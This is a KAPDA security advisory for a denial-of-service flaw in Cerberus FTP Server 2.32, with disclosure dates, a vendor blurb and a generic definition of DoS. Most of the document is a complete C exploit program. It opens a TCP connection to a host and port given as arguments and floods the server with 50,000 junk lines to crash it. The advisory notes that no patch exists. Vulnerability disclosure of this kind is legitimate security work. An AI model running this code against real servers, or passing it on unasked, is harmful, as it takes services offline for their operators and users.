Cerberus FTP Server 2.32 Denial of Service
Cerberus FTP Server 2.32 Denial of Service
Denial of Service(DoS)
-------
KAPDA New advisory
Vulnerable products : Cerberus FTP Server 2.32
Vendor: http://www.cerberusftp.com/
Risk: High
Vulnerabilities: Denial of service
Date :
--------------------
Found : Aug 21 2005
Vendor Contacted : Aug 21 2005
Release Date : Jan 14 2006
About Cerberus FTP Server :
--------------------
Cerberus FTP ServerTM provides industrial strength secure SSL/TLS encryption
and powerful FTP server performance without sacrificing ease-of-use. Designed
to use very little CPU and memory, Cerberus features a user-friendly interface
that can be easily hidden or accessed from the system tray. The server is able
to listen for connections on multiple interfaces (Multi-homed PCs), integrate
with the Windows NT user database or Active Directory, run as an NT service,
resume failed transfers, and offers an easy-to-use manager for controlling user
access to files and file operations. Connection limit, timeout, and IP access
can be controlled by the administrator as well as a variety of other settings.
In addition, Cerberus FTP Server offers statistics on connections as well as
robust logging capabilities. The server adheres to RFC959 and RFC1123.
Vulnerability:
--------------------
Denial of service:
A denial-of-service attack (also, DoS attack) is an attack on a computer system
or network that causes a loss of service to users, typically the loss of
network connectivity and services by consuming the bandwidth of the victim
network or overloading the computational resources of the victim system.
Exploit:
--------------------
cerberus_232_dos_remote_xpl.c
CODE
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#define POCSTR "%s"
int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );
int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title: \tCerberus FTP Server <= v2.32 Dos Exploit\n");
printf("[i] Discovered by: \tcvh {a] kapda.ir\n");
printf("[i] Exploit by: \tPi3cH {a] kapda.ir\n");
printf("[i] More info: \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}
int usage(char *filename) {
printf("[i] Usage: \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}
int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;
memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr
) ) == -1 )
{
printf ( "[e] Failed connecting!\n" );
exit(1);
}
return ( s );
}
int main(int argc, char *argv[]) {
int s,i;
char *request;
char junk_data[] = "DoS-JUNK-DATA.:(CVH):.\x0d\x0a";
header();
if( (argc < 2) )
usage(argv[0]);
request = (char *) malloc(1024);
printf("[r] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
sleep(1);
printf("[r] Creating buffer\n");
sprintf(request,POCSTR,junk_data);
printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
for(i=0;i<50000;i++)
if ( send ( s, request, strlen (request), 0) <= 0 )
{
printf("[e] Failed to send buffer\n");
close(s);
exit(1);
}
sleep(1);
printf("[s] Exploit Done!\n");
close(s);
free(request);
request = NULL;
return 0;
}
Solution:
--------------------
Vendor couldn't care less, so no patch exits.
Credit :
--------------------
Discoverd by cvh [at} kapda.ir
Exploit by pi3ch [at} kapda.ir
Grtz to all members of KAPDA and GSO.
KAPDA - Computer Security Science Researchers Institute
http://www.KAPDA.ir